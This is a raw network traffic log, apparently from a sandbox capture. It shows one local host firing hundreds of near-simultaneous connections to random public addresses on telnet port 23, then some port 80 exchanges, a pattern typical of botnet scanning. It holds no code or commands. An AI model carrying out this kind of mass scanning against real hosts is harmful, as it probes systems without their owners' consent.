Dec 3, 2024 22:16:50.549416065 CET	37963	23	192.168.2.23	97.188.68.192
Dec 3, 2024 22:16:50.549417019 CET	37963	23	192.168.2.23	45.166.218.4
Dec 3, 2024 22:16:50.549417019 CET	37963	23	192.168.2.23	69.113.110.201
Dec 3, 2024 22:16:50.549417019 CET	37963	23	192.168.2.23	93.201.207.9
Dec 3, 2024 22:16:50.549417973 CET	37963	23	192.168.2.23	184.3.32.211
Dec 3, 2024 22:16:50.549417973 CET	37963	23	192.168.2.23	168.120.58.10
Dec 3, 2024 22:16:50.549438953 CET	37963	23	192.168.2.23	203.208.154.207
Dec 3, 2024 22:16:50.549438953 CET	37963	23	192.168.2.23	99.244.134.93
Dec 3, 2024 22:16:50.549438953 CET	37963	23	192.168.2.23	130.177.102.249
Dec 3, 2024 22:16:50.549438953 CET	37963	23	192.168.2.23	128.191.103.174
Dec 3, 2024 22:16:50.549438953 CET	37963	23	192.168.2.23	204.183.139.12
Dec 3, 2024 22:16:50.549441099 CET	37963	23	192.168.2.23	126.50.136.155
Dec 3, 2024 22:16:50.549442053 CET	37963	23	192.168.2.23	2.142.231.33
Dec 3, 2024 22:16:50.549438953 CET	37963	23	192.168.2.23	132.58.193.221
Dec 3, 2024 22:16:50.549438953 CET	37963	23	192.168.2.23	40.223.104.116
Dec 3, 2024 22:16:50.549439907 CET	37963	23	192.168.2.23	191.61.172.20
Dec 3, 2024 22:16:50.549438953 CET	37963	23	192.168.2.23	128.0.69.234
Dec 3, 2024 22:16:50.549439907 CET	37963	23	192.168.2.23	168.223.203.110
Dec 3, 2024 22:16:50.549442053 CET	37963	23	192.168.2.23	76.5.91.144
Dec 3, 2024 22:16:50.549442053 CET	37963	23	192.168.2.23	83.120.224.44
Dec 3, 2024 22:16:50.549454927 CET	37963	23	192.168.2.23	81.119.8.24
Dec 3, 2024 22:16:50.549454927 CET	37963	23	192.168.2.23	147.219.202.138
Dec 3, 2024 22:16:50.549454927 CET	37963	23	192.168.2.23	210.17.111.21
Dec 3, 2024 22:16:50.549457073 CET	37963	23	192.168.2.23	175.223.129.243
Dec 3, 2024 22:16:50.549457073 CET	37963	23	192.168.2.23	114.168.228.88
Dec 3, 2024 22:16:50.549458027 CET	37963	23	192.168.2.23	97.113.250.173
Dec 3, 2024 22:16:50.549460888 CET	37963	23	192.168.2.23	58.191.254.174
Dec 3, 2024 22:16:50.549460888 CET	37963	23	192.168.2.23	136.118.114.31
Dec 3, 2024 22:16:50.549460888 CET	37963	23	192.168.2.23	17.87.37.65
Dec 3, 2024 22:16:50.549460888 CET	37963	23	192.168.2.23	125.4.69.255
Dec 3, 2024 22:16:50.549460888 CET	37963	23	192.168.2.23	150.147.175.80
Dec 3, 2024 22:16:50.549460888 CET	37963	23	192.168.2.23	222.193.249.158
Dec 3, 2024 22:16:50.549460888 CET	37963	23	192.168.2.23	90.195.24.195
Dec 3, 2024 22:16:50.549460888 CET	37963	23	192.168.2.23	154.65.110.18
Dec 3, 2024 22:16:50.549488068 CET	37963	23	192.168.2.23	191.131.116.20
Dec 3, 2024 22:16:50.549488068 CET	37963	23	192.168.2.23	38.224.232.126
Dec 3, 2024 22:16:50.549489975 CET	37963	23	192.168.2.23	80.164.67.58
Dec 3, 2024 22:16:50.549489975 CET	37963	23	192.168.2.23	135.127.81.228
Dec 3, 2024 22:16:50.549489975 CET	37963	23	192.168.2.23	156.215.239.252
Dec 3, 2024 22:16:50.549489975 CET	37963	23	192.168.2.23	218.4.11.84
Dec 3, 2024 22:16:50.549489975 CET	37963	23	192.168.2.23	24.35.80.246
Dec 3, 2024 22:16:50.549489975 CET	37963	23	192.168.2.23	81.250.71.129
Dec 3, 2024 22:16:50.549489975 CET	37963	23	192.168.2.23	61.17.179.26
Dec 3, 2024 22:16:50.549491882 CET	37963	23	192.168.2.23	152.138.38.158
Dec 3, 2024 22:16:50.549491882 CET	37963	23	192.168.2.23	96.88.98.120
Dec 3, 2024 22:16:50.549493074 CET	37963	23	192.168.2.23	223.110.70.250
Dec 3, 2024 22:16:50.549493074 CET	37963	23	192.168.2.23	142.154.92.176
Dec 3, 2024 22:16:50.549493074 CET	37963	23	192.168.2.23	94.88.225.163
Dec 3, 2024 22:16:50.549494028 CET	37963	23	192.168.2.23	70.9.34.105
Dec 3, 2024 22:16:50.549493074 CET	37963	23	192.168.2.23	23.210.76.201
Dec 3, 2024 22:16:50.549494028 CET	37963	23	192.168.2.23	172.94.57.171
Dec 3, 2024 22:16:50.549493074 CET	37963	23	192.168.2.23	145.244.240.189
Dec 3, 2024 22:16:50.549494028 CET	37963	23	192.168.2.23	154.182.253.175
Dec 3, 2024 22:16:50.549493074 CET	37963	23	192.168.2.23	121.192.199.20
Dec 3, 2024 22:16:50.549494028 CET	37963	23	192.168.2.23	34.6.13.122
Dec 3, 2024 22:16:50.549506903 CET	37963	23	192.168.2.23	78.87.251.239
Dec 3, 2024 22:16:50.549506903 CET	37963	23	192.168.2.23	185.127.126.174
Dec 3, 2024 22:16:50.549506903 CET	37963	23	192.168.2.23	130.171.197.16
Dec 3, 2024 22:16:50.549506903 CET	37963	23	192.168.2.23	60.30.145.143
Dec 3, 2024 22:16:50.549506903 CET	37963	23	192.168.2.23	148.13.232.137
Dec 3, 2024 22:16:50.549516916 CET	37963	23	192.168.2.23	133.203.61.192
Dec 3, 2024 22:16:50.549520016 CET	37963	23	192.168.2.23	208.201.138.212
Dec 3, 2024 22:16:50.549520016 CET	37963	23	192.168.2.23	200.113.226.75
Dec 3, 2024 22:16:50.549520016 CET	37963	23	192.168.2.23	72.130.7.186
Dec 3, 2024 22:16:50.549520969 CET	37963	23	192.168.2.23	82.100.123.181
Dec 3, 2024 22:16:50.549520016 CET	37963	23	192.168.2.23	178.213.191.140
Dec 3, 2024 22:16:50.549520016 CET	37963	23	192.168.2.23	41.57.85.12
Dec 3, 2024 22:16:50.549520016 CET	37963	23	192.168.2.23	140.234.146.68
Dec 3, 2024 22:16:50.549523115 CET	37963	23	192.168.2.23	175.239.241.34
Dec 3, 2024 22:16:50.549520016 CET	37963	23	192.168.2.23	105.239.171.173
Dec 3, 2024 22:16:50.549520016 CET	37963	23	192.168.2.23	126.78.158.57
Dec 3, 2024 22:16:50.549520016 CET	37963	23	192.168.2.23	148.122.86.185
Dec 3, 2024 22:16:50.549529076 CET	37963	23	192.168.2.23	175.64.14.213
Dec 3, 2024 22:16:50.549530029 CET	37963	23	192.168.2.23	199.191.245.84
Dec 3, 2024 22:16:50.549530029 CET	37963	23	192.168.2.23	2.49.148.193
Dec 3, 2024 22:16:50.549530029 CET	37963	23	192.168.2.23	75.39.176.250
Dec 3, 2024 22:16:50.549530029 CET	37963	23	192.168.2.23	181.7.234.203
Dec 3, 2024 22:16:50.549566031 CET	37963	23	192.168.2.23	52.0.44.152
Dec 3, 2024 22:16:50.549566031 CET	37963	23	192.168.2.23	204.9.105.159
Dec 3, 2024 22:16:50.549566031 CET	37963	23	192.168.2.23	126.205.21.60
Dec 3, 2024 22:16:50.549566031 CET	37963	23	192.168.2.23	175.4.146.255
Dec 3, 2024 22:16:50.549566031 CET	37963	23	192.168.2.23	203.211.74.67
Dec 3, 2024 22:16:50.549568892 CET	37963	23	192.168.2.23	2.27.252.112
Dec 3, 2024 22:16:50.549568892 CET	37963	23	192.168.2.23	77.12.27.161
Dec 3, 2024 22:16:50.549568892 CET	37963	23	192.168.2.23	156.181.142.63
Dec 3, 2024 22:16:50.549568892 CET	37963	23	192.168.2.23	158.156.104.71
Dec 3, 2024 22:16:50.549571037 CET	37963	23	192.168.2.23	77.96.97.16
Dec 3, 2024 22:16:50.549571037 CET	37963	23	192.168.2.23	31.152.77.12
Dec 3, 2024 22:16:50.549570084 CET	37963	23	192.168.2.23	92.72.202.77
Dec 3, 2024 22:16:50.549571991 CET	37963	23	192.168.2.23	176.248.170.96
Dec 3, 2024 22:16:50.549571037 CET	37963	23	192.168.2.23	38.1.19.19
Dec 3, 2024 22:16:50.549570084 CET	37963	23	192.168.2.23	154.125.18.17
Dec 3, 2024 22:16:50.549571037 CET	37963	23	192.168.2.23	177.59.214.53
Dec 3, 2024 22:16:50.549571037 CET	37963	23	192.168.2.23	20.203.9.120
Dec 3, 2024 22:16:50.549571037 CET	37963	23	192.168.2.23	2.209.157.224
Dec 3, 2024 22:16:50.549571037 CET	37963	23	192.168.2.23	73.42.97.62
Dec 3, 2024 22:16:50.549571037 CET	37963	23	192.168.2.23	146.219.242.140
Dec 3, 2024 22:16:50.549570084 CET	37963	23	192.168.2.23	95.43.91.155
Dec 3, 2024 22:16:50.549568892 CET	37963	23	192.168.2.23	173.247.23.72
Dec 3, 2024 22:16:50.549571037 CET	37963	23	192.168.2.23	110.136.5.201
Dec 3, 2024 22:16:50.549571037 CET	37963	23	192.168.2.23	102.193.238.113
Dec 3, 2024 22:16:50.549570084 CET	37963	23	192.168.2.23	183.92.86.232
Dec 3, 2024 22:16:50.549568892 CET	37963	23	192.168.2.23	181.54.62.86
Dec 3, 2024 22:16:50.549570084 CET	37963	23	192.168.2.23	102.183.103.91
Dec 3, 2024 22:16:50.549571037 CET	37963	23	192.168.2.23	43.135.184.116
Dec 3, 2024 22:16:50.549571037 CET	37963	23	192.168.2.23	67.174.116.250
Dec 3, 2024 22:16:50.549571037 CET	37963	23	192.168.2.23	116.154.28.24
Dec 3, 2024 22:16:50.549571037 CET	37963	23	192.168.2.23	39.222.2.189
Dec 3, 2024 22:16:50.549571037 CET	37963	23	192.168.2.23	122.98.14.174
Dec 3, 2024 22:16:50.549571037 CET	37963	23	192.168.2.23	157.170.105.34
Dec 3, 2024 22:16:50.549571037 CET	37963	23	192.168.2.23	177.227.77.134
Dec 3, 2024 22:16:50.549616098 CET	37963	23	192.168.2.23	170.212.88.98
Dec 3, 2024 22:16:50.549618006 CET	37963	23	192.168.2.23	201.102.114.48
Dec 3, 2024 22:16:50.549617052 CET	37963	23	192.168.2.23	85.227.82.89
Dec 3, 2024 22:16:50.549616098 CET	37963	23	192.168.2.23	217.208.220.231
Dec 3, 2024 22:16:50.549617052 CET	37963	23	192.168.2.23	166.147.152.91
Dec 3, 2024 22:16:50.549617052 CET	37963	23	192.168.2.23	44.225.122.156
Dec 3, 2024 22:16:50.549617052 CET	37963	23	192.168.2.23	170.146.255.133
Dec 3, 2024 22:16:50.549617052 CET	37963	23	192.168.2.23	116.154.187.135
Dec 3, 2024 22:16:50.549619913 CET	37963	23	192.168.2.23	91.222.6.234
Dec 3, 2024 22:16:50.549619913 CET	37963	23	192.168.2.23	79.105.47.30
Dec 3, 2024 22:16:50.549619913 CET	37963	23	192.168.2.23	195.251.89.224
Dec 3, 2024 22:16:50.549619913 CET	37963	23	192.168.2.23	32.203.119.224
Dec 3, 2024 22:16:50.549619913 CET	37963	23	192.168.2.23	126.241.72.9
Dec 3, 2024 22:16:50.549619913 CET	37963	23	192.168.2.23	14.86.184.171
Dec 3, 2024 22:16:50.549619913 CET	37963	23	192.168.2.23	177.33.189.184
Dec 3, 2024 22:16:50.549619913 CET	37963	23	192.168.2.23	193.180.190.218
Dec 3, 2024 22:16:50.549619913 CET	37963	23	192.168.2.23	57.59.246.38
Dec 3, 2024 22:16:50.549619913 CET	37963	23	192.168.2.23	120.9.194.136
Dec 3, 2024 22:16:50.549627066 CET	37963	23	192.168.2.23	4.221.223.104
Dec 3, 2024 22:16:50.549627066 CET	37963	23	192.168.2.23	35.46.239.234
Dec 3, 2024 22:16:50.549627066 CET	37963	23	192.168.2.23	110.206.33.214
Dec 3, 2024 22:16:50.549627066 CET	37963	23	192.168.2.23	9.97.48.37
Dec 3, 2024 22:16:50.549627066 CET	37963	23	192.168.2.23	13.231.96.213
Dec 3, 2024 22:16:50.549627066 CET	37963	23	192.168.2.23	136.5.75.73
Dec 3, 2024 22:16:50.549627066 CET	37963	23	192.168.2.23	111.13.81.175
Dec 3, 2024 22:16:50.549627066 CET	37963	23	192.168.2.23	191.253.16.223
Dec 3, 2024 22:16:50.549627066 CET	37963	23	192.168.2.23	165.185.219.95
Dec 3, 2024 22:16:50.549627066 CET	37963	23	192.168.2.23	36.218.142.243
Dec 3, 2024 22:16:50.549627066 CET	37963	23	192.168.2.23	91.140.56.3
Dec 3, 2024 22:16:50.549627066 CET	37963	23	192.168.2.23	209.88.75.45
Dec 3, 2024 22:16:50.549627066 CET	37963	23	192.168.2.23	12.83.113.46
Dec 3, 2024 22:16:50.549627066 CET	37963	23	192.168.2.23	111.223.206.10
Dec 3, 2024 22:16:50.549627066 CET	37963	23	192.168.2.23	144.224.130.175
Dec 3, 2024 22:16:50.549627066 CET	37963	23	192.168.2.23	86.35.142.212
Dec 3, 2024 22:16:50.549627066 CET	37963	23	192.168.2.23	125.141.182.138
Dec 3, 2024 22:16:50.549627066 CET	37963	23	192.168.2.23	81.162.128.224
Dec 3, 2024 22:16:50.549627066 CET	37963	23	192.168.2.23	109.50.72.161
Dec 3, 2024 22:16:50.549628019 CET	37963	23	192.168.2.23	37.141.98.150
Dec 3, 2024 22:16:50.549649000 CET	37963	23	192.168.2.23	99.172.154.245
Dec 3, 2024 22:16:50.549649000 CET	37963	23	192.168.2.23	146.138.141.220
Dec 3, 2024 22:16:50.549649000 CET	37963	23	192.168.2.23	152.90.102.192
Dec 3, 2024 22:16:50.549649000 CET	37963	23	192.168.2.23	111.118.142.195
Dec 3, 2024 22:16:50.549649000 CET	37963	23	192.168.2.23	84.193.242.221
Dec 3, 2024 22:16:50.549649000 CET	37963	23	192.168.2.23	78.117.49.152
Dec 3, 2024 22:16:50.549649000 CET	37963	23	192.168.2.23	191.107.243.3
Dec 3, 2024 22:16:50.549649000 CET	37963	23	192.168.2.23	216.95.62.51
Dec 3, 2024 22:16:50.549654007 CET	37963	23	192.168.2.23	118.168.11.123
Dec 3, 2024 22:16:50.549658060 CET	37963	23	192.168.2.23	200.113.52.183
Dec 3, 2024 22:16:50.549658060 CET	37963	23	192.168.2.23	158.193.35.194
Dec 3, 2024 22:16:50.549658060 CET	37963	23	192.168.2.23	158.245.61.244
Dec 3, 2024 22:16:50.549658060 CET	37963	23	192.168.2.23	207.111.99.240
Dec 3, 2024 22:16:50.549666882 CET	37963	23	192.168.2.23	198.205.62.66
Dec 3, 2024 22:16:50.549666882 CET	37963	23	192.168.2.23	52.173.45.132
Dec 3, 2024 22:16:50.549666882 CET	37963	23	192.168.2.23	47.82.84.201
Dec 3, 2024 22:16:50.549666882 CET	37963	23	192.168.2.23	131.32.209.48
Dec 3, 2024 22:16:50.549668074 CET	37963	23	192.168.2.23	202.211.228.16
Dec 3, 2024 22:16:50.549669027 CET	37963	23	192.168.2.23	81.182.95.108
Dec 3, 2024 22:16:50.549669981 CET	37963	23	192.168.2.23	137.188.87.124
Dec 3, 2024 22:16:50.549666882 CET	37963	23	192.168.2.23	90.240.142.203
Dec 3, 2024 22:16:50.549666882 CET	37963	23	192.168.2.23	74.76.14.119
Dec 3, 2024 22:16:50.549669027 CET	37963	23	192.168.2.23	82.75.164.151
Dec 3, 2024 22:16:50.549666882 CET	37963	23	192.168.2.23	96.137.195.73
Dec 3, 2024 22:16:50.549669981 CET	37963	23	192.168.2.23	59.76.205.227
Dec 3, 2024 22:16:50.549669027 CET	37963	23	192.168.2.23	157.197.23.10
Dec 3, 2024 22:16:50.549666882 CET	37963	23	192.168.2.23	99.214.202.6
Dec 3, 2024 22:16:50.549669981 CET	37963	23	192.168.2.23	106.112.111.236
Dec 3, 2024 22:16:50.549669027 CET	37963	23	192.168.2.23	163.233.159.228
Dec 3, 2024 22:16:50.549670935 CET	37963	23	192.168.2.23	62.39.17.4
Dec 3, 2024 22:16:50.549669027 CET	37963	23	192.168.2.23	174.233.239.145
Dec 3, 2024 22:16:50.549670935 CET	37963	23	192.168.2.23	77.66.182.27
Dec 3, 2024 22:16:50.549666882 CET	37963	23	192.168.2.23	59.5.43.194
Dec 3, 2024 22:16:50.549670935 CET	37963	23	192.168.2.23	209.61.29.122
Dec 3, 2024 22:16:50.549666882 CET	37963	23	192.168.2.23	216.117.175.163
Dec 3, 2024 22:16:50.549670935 CET	37963	23	192.168.2.23	44.42.128.244
Dec 3, 2024 22:16:50.549685001 CET	37963	23	192.168.2.23	166.192.55.193
Dec 3, 2024 22:16:50.549685001 CET	37963	23	192.168.2.23	201.107.249.216
Dec 3, 2024 22:16:50.549685001 CET	37963	23	192.168.2.23	107.187.250.250
Dec 3, 2024 22:16:50.549685001 CET	37963	23	192.168.2.23	200.190.48.255
Dec 3, 2024 22:16:50.549685001 CET	37963	23	192.168.2.23	147.28.35.35
Dec 3, 2024 22:16:50.549685001 CET	37963	23	192.168.2.23	90.72.74.0
Dec 3, 2024 22:16:50.549666882 CET	37963	23	192.168.2.23	164.106.15.152
Dec 3, 2024 22:16:50.549670935 CET	37963	23	192.168.2.23	207.96.48.51
Dec 3, 2024 22:16:50.549670935 CET	37963	23	192.168.2.23	36.153.61.145
Dec 3, 2024 22:16:50.549670935 CET	37963	23	192.168.2.23	212.38.211.44
Dec 3, 2024 22:16:50.549690962 CET	37963	23	192.168.2.23	43.210.254.37
Dec 3, 2024 22:16:50.549690962 CET	37963	23	192.168.2.23	84.156.49.220
Dec 3, 2024 22:16:50.549695969 CET	37963	23	192.168.2.23	81.191.242.97
Dec 3, 2024 22:16:50.549695969 CET	37963	23	192.168.2.23	52.47.101.131
Dec 3, 2024 22:16:50.549698114 CET	37963	23	192.168.2.23	160.54.172.135
Dec 3, 2024 22:16:50.549699068 CET	37963	23	192.168.2.23	23.198.78.89
Dec 3, 2024 22:16:50.549699068 CET	37963	23	192.168.2.23	168.231.168.146
Dec 3, 2024 22:16:50.549699068 CET	37963	23	192.168.2.23	113.61.244.84
Dec 3, 2024 22:16:50.549699068 CET	37963	23	192.168.2.23	41.84.234.163
Dec 3, 2024 22:16:50.549699068 CET	37963	23	192.168.2.23	180.188.83.184
Dec 3, 2024 22:16:50.549700022 CET	37963	23	192.168.2.23	210.189.189.16
Dec 3, 2024 22:16:50.549699068 CET	37963	23	192.168.2.23	139.35.114.67
Dec 3, 2024 22:16:50.549700022 CET	37963	23	192.168.2.23	88.21.141.69
Dec 3, 2024 22:16:50.549700975 CET	37963	23	192.168.2.23	173.86.171.19
Dec 3, 2024 22:16:50.549700975 CET	37963	23	192.168.2.23	105.70.72.141
Dec 3, 2024 22:16:50.549700975 CET	37963	23	192.168.2.23	37.254.78.36
Dec 3, 2024 22:16:50.549701929 CET	37963	23	192.168.2.23	132.76.33.206
Dec 3, 2024 22:16:50.549700975 CET	37963	23	192.168.2.23	95.142.104.240
Dec 3, 2024 22:16:50.549701929 CET	37963	23	192.168.2.23	25.117.72.238
Dec 3, 2024 22:16:50.549699068 CET	37963	23	192.168.2.23	13.248.191.166
Dec 3, 2024 22:16:50.549701929 CET	37963	23	192.168.2.23	160.99.246.143
Dec 3, 2024 22:16:50.549701929 CET	37963	23	192.168.2.23	218.51.151.242
Dec 3, 2024 22:16:50.549700975 CET	37963	23	192.168.2.23	201.73.99.223
Dec 3, 2024 22:16:50.549700975 CET	37963	23	192.168.2.23	124.218.125.83
Dec 3, 2024 22:16:50.549714088 CET	37963	23	192.168.2.23	13.27.76.144
Dec 3, 2024 22:16:50.549714088 CET	37963	23	192.168.2.23	1.230.236.109
Dec 3, 2024 22:16:50.549736977 CET	37963	23	192.168.2.23	154.214.147.242
Dec 3, 2024 22:16:50.549736977 CET	37963	23	192.168.2.23	130.187.43.91
Dec 3, 2024 22:16:50.549736977 CET	37963	23	192.168.2.23	32.79.209.90
Dec 3, 2024 22:16:50.549736977 CET	37963	23	192.168.2.23	213.65.240.72
Dec 3, 2024 22:16:50.549736977 CET	37963	23	192.168.2.23	162.102.237.96
Dec 3, 2024 22:16:50.549741030 CET	37963	23	192.168.2.23	37.215.134.172
Dec 3, 2024 22:16:50.549741030 CET	37963	23	192.168.2.23	20.208.25.107
Dec 3, 2024 22:16:50.549741030 CET	37963	23	192.168.2.23	44.187.123.195
Dec 3, 2024 22:16:50.549741030 CET	37963	23	192.168.2.23	151.200.145.195
Dec 3, 2024 22:16:50.549741030 CET	37963	23	192.168.2.23	118.211.240.164
Dec 3, 2024 22:16:50.549741030 CET	37963	23	192.168.2.23	131.201.71.45
Dec 3, 2024 22:16:50.549741983 CET	37963	23	192.168.2.23	190.210.102.225
Dec 3, 2024 22:16:50.549741030 CET	37963	23	192.168.2.23	180.81.64.115
Dec 3, 2024 22:16:50.549741983 CET	37963	23	192.168.2.23	182.232.67.221
Dec 3, 2024 22:16:50.549742937 CET	37963	23	192.168.2.23	191.95.201.148
Dec 3, 2024 22:16:50.549741983 CET	37963	23	192.168.2.23	61.98.152.77
Dec 3, 2024 22:16:50.549743891 CET	37963	23	192.168.2.23	94.233.122.123
Dec 3, 2024 22:16:50.549741030 CET	37963	23	192.168.2.23	176.130.217.213
Dec 3, 2024 22:16:50.549743891 CET	37963	23	192.168.2.23	160.117.239.30
Dec 3, 2024 22:16:50.549742937 CET	37963	23	192.168.2.23	115.155.74.164
Dec 3, 2024 22:16:50.549741030 CET	37963	23	192.168.2.23	42.168.230.7
Dec 3, 2024 22:16:50.549742937 CET	37963	23	192.168.2.23	187.195.237.165
Dec 3, 2024 22:16:50.549743891 CET	37963	23	192.168.2.23	44.46.4.154
Dec 3, 2024 22:16:50.549742937 CET	37963	23	192.168.2.23	173.217.154.195
Dec 3, 2024 22:16:50.549743891 CET	37963	23	192.168.2.23	49.249.17.77
Dec 3, 2024 22:16:50.549743891 CET	37963	23	192.168.2.23	188.151.245.103
Dec 3, 2024 22:16:50.549742937 CET	37963	23	192.168.2.23	204.5.96.177
Dec 3, 2024 22:16:50.549742937 CET	37963	23	192.168.2.23	141.155.241.168
Dec 3, 2024 22:16:50.549741983 CET	37963	23	192.168.2.23	199.238.212.58
Dec 3, 2024 22:16:50.549743891 CET	37963	23	192.168.2.23	217.9.129.69
Dec 3, 2024 22:16:50.549743891 CET	37963	23	192.168.2.23	103.185.96.42
Dec 3, 2024 22:16:50.549743891 CET	37963	23	192.168.2.23	131.93.185.76
Dec 3, 2024 22:16:50.549762011 CET	37963	23	192.168.2.23	145.171.187.84
Dec 3, 2024 22:16:50.549762011 CET	37963	23	192.168.2.23	93.168.77.33
Dec 3, 2024 22:16:50.549762011 CET	37963	23	192.168.2.23	83.34.176.87
Dec 3, 2024 22:16:50.549763918 CET	37963	23	192.168.2.23	85.120.126.27
Dec 3, 2024 22:16:50.549763918 CET	37963	23	192.168.2.23	115.62.123.237
Dec 3, 2024 22:16:50.549763918 CET	37963	23	192.168.2.23	139.110.104.228
Dec 3, 2024 22:16:50.549763918 CET	37963	23	192.168.2.23	218.49.141.60
Dec 3, 2024 22:16:50.549763918 CET	37963	23	192.168.2.23	69.205.189.192
Dec 3, 2024 22:16:50.549763918 CET	37963	23	192.168.2.23	192.42.59.195
Dec 3, 2024 22:16:50.549763918 CET	37963	23	192.168.2.23	223.138.125.102
Dec 3, 2024 22:16:50.549767971 CET	37963	23	192.168.2.23	74.157.25.253
Dec 3, 2024 22:16:50.549763918 CET	37963	23	192.168.2.23	139.248.60.203
Dec 3, 2024 22:16:50.549767971 CET	37963	23	192.168.2.23	129.76.122.76
Dec 3, 2024 22:16:50.549763918 CET	37963	23	192.168.2.23	140.244.188.158
Dec 3, 2024 22:16:50.549768925 CET	37963	23	192.168.2.23	123.8.24.108
Dec 3, 2024 22:16:50.549767971 CET	37963	23	192.168.2.23	49.116.32.152
Dec 3, 2024 22:16:50.549763918 CET	37963	23	192.168.2.23	147.246.162.39
Dec 3, 2024 22:16:50.549767971 CET	37963	23	192.168.2.23	13.1.88.46
Dec 3, 2024 22:16:50.549771070 CET	37963	23	192.168.2.23	175.105.227.42
Dec 3, 2024 22:16:50.549768925 CET	37963	23	192.168.2.23	113.62.112.139
Dec 3, 2024 22:16:50.549771070 CET	37963	23	192.168.2.23	202.227.88.44
Dec 3, 2024 22:16:50.549768925 CET	37963	23	192.168.2.23	136.68.121.36
Dec 3, 2024 22:16:50.549771070 CET	37963	23	192.168.2.23	36.201.37.12
Dec 3, 2024 22:16:50.549763918 CET	37963	23	192.168.2.23	223.37.93.36
Dec 3, 2024 22:16:50.549771070 CET	37963	23	192.168.2.23	43.47.80.4
Dec 3, 2024 22:16:50.549771070 CET	37963	23	192.168.2.23	40.115.24.197
Dec 3, 2024 22:16:50.549784899 CET	37963	23	192.168.2.23	18.60.78.50
Dec 3, 2024 22:16:50.549784899 CET	37963	23	192.168.2.23	68.146.40.145
Dec 3, 2024 22:16:50.549786091 CET	37963	23	192.168.2.23	223.15.14.199
Dec 3, 2024 22:16:50.549787045 CET	37963	23	192.168.2.23	193.152.167.27
Dec 3, 2024 22:16:50.549787998 CET	37963	23	192.168.2.23	86.10.170.31
Dec 3, 2024 22:16:50.549787998 CET	37963	23	192.168.2.23	37.149.148.238
Dec 3, 2024 22:16:50.549788952 CET	37963	23	192.168.2.23	165.31.88.164
Dec 3, 2024 22:16:50.549788952 CET	37963	23	192.168.2.23	92.173.161.21
Dec 3, 2024 22:16:50.549789906 CET	37963	23	192.168.2.23	68.200.237.169
Dec 3, 2024 22:16:50.549789906 CET	37963	23	192.168.2.23	48.231.27.90
Dec 3, 2024 22:16:50.549789906 CET	37963	23	192.168.2.23	14.28.89.5
Dec 3, 2024 22:16:50.549789906 CET	37963	23	192.168.2.23	117.208.229.30
Dec 3, 2024 22:16:50.549789906 CET	37963	23	192.168.2.23	188.60.59.80
Dec 3, 2024 22:16:50.549789906 CET	37963	23	192.168.2.23	121.81.134.89
Dec 3, 2024 22:16:50.579782963 CET	37488	80	192.168.2.23	52.147.152.231
Dec 3, 2024 22:16:50.579787016 CET	38280	80	192.168.2.23	208.170.5.222
Dec 3, 2024 22:16:50.579792976 CET	53250	80	192.168.2.23	83.119.82.146
Dec 3, 2024 22:16:50.579792976 CET	45016	80	192.168.2.23	186.244.224.1
Dec 3, 2024 22:16:50.579797029 CET	48682	80	192.168.2.23	70.167.174.224
Dec 3, 2024 22:16:50.579797029 CET	33508	80	192.168.2.23	116.198.57.17
Dec 3, 2024 22:16:50.579799891 CET	40118	80	192.168.2.23	149.70.197.245
Dec 3, 2024 22:16:50.579799891 CET	33132	80	192.168.2.23	32.60.240.155
Dec 3, 2024 22:16:50.579801083 CET	49306	80	192.168.2.23	49.132.127.254
Dec 3, 2024 22:16:50.579804897 CET	41662	80	192.168.2.23	72.185.180.188
Dec 3, 2024 22:16:50.579813004 CET	52704	80	192.168.2.23	182.205.184.220
Dec 3, 2024 22:16:50.579813957 CET	44520	80	192.168.2.23	2.116.62.181
Dec 3, 2024 22:16:50.579813957 CET	38242	80	192.168.2.23	66.28.161.170
Dec 3, 2024 22:16:50.579818010 CET	41042	80	192.168.2.23	18.120.91.237
Dec 3, 2024 22:16:50.579821110 CET	38150	80	192.168.2.23	205.37.220.224
Dec 3, 2024 22:16:50.579824924 CET	37046	80	192.168.2.23	83.228.148.68
Dec 3, 2024 22:16:50.579828978 CET	40704	80	192.168.2.23	177.102.58.160
Dec 3, 2024 22:16:50.636039972 CET	80	50974	106.119.111.49	192.168.2.23
Dec 3, 2024 22:16:50.636054039 CET	80	52334	115.64.13.91	192.168.2.23
Dec 3, 2024 22:16:50.636071920 CET	80	43108	126.110.141.44	192.168.2.23
Dec 3, 2024 22:16:50.636081934 CET	80	54246	219.159.129.91	192.168.2.23
Dec 3, 2024 22:16:50.636092901 CET	80	46564	59.87.238.43	192.168.2.23
Dec 3, 2024 22:16:50.636127949 CET	80	36392	161.83.220.85	192.168.2.23
Dec 3, 2024 22:16:50.636189938 CET	80	35902	44.223.88.222	192.168.2.23
Dec 3, 2024 22:16:50.636218071 CET	54246	80	192.168.2.23	219.159.129.91
Dec 3, 2024 22:16:50.636219978 CET	50974	80	192.168.2.23	106.119.111.49
Dec 3, 2024 22:16:50.636224031 CET	43108	80	192.168.2.23	126.110.141.44
Dec 3, 2024 22:16:50.636224031 CET	46564	80	192.168.2.23	59.87.238.43
Dec 3, 2024 22:16:50.636226892 CET	52334	80	192.168.2.23	115.64.13.91
Dec 3, 2024 22:16:50.636226892 CET	36392	80	192.168.2.23	161.83.220.85
Dec 3, 2024 22:16:50.636231899 CET	54246	80	192.168.2.23	219.159.129.91
Dec 3, 2024 22:16:50.636234045 CET	50974	80	192.168.2.23	106.119.111.49
Dec 3, 2024 22:16:50.636238098 CET	43108	80	192.168.2.23	126.110.141.44
Dec 3, 2024 22:16:50.636239052 CET	35902	80	192.168.2.23	44.223.88.222
Dec 3, 2024 22:16:50.636240959 CET	52334	80	192.168.2.23	115.64.13.91
Dec 3, 2024 22:16:50.636255026 CET	37707	80	192.168.2.23	157.200.164.96
Dec 3, 2024 22:16:50.636265039 CET	37707	80	192.168.2.23	111.211.175.160
Dec 3, 2024 22:16:50.636280060 CET	37707	80	192.168.2.23	110.174.211.110
Dec 3, 2024 22:16:50.636280060 CET	37707	80	192.168.2.23	157.8.141.192
Dec 3, 2024 22:16:50.636280060 CET	37707	80	192.168.2.23	221.128.53.64
Dec 3, 2024 22:16:50.636292934 CET	37707	80	192.168.2.23	105.128.179.235
Dec 3, 2024 22:16:50.636295080 CET	37707	80	192.168.2.23	67.98.123.25
Dec 3, 2024 22:16:50.636302948 CET	37707	80	192.168.2.23	119.219.168.35
Dec 3, 2024 22:16:50.636311054 CET	37707	80	192.168.2.23	143.34.160.30
Dec 3, 2024 22:16:50.636311054 CET	37707	80	192.168.2.23	176.143.133.166
Dec 3, 2024 22:16:50.636317015 CET	37707	80	192.168.2.23	178.123.73.53
Dec 3, 2024 22:16:50.636318922 CET	37707	80	192.168.2.23	19.185.83.54
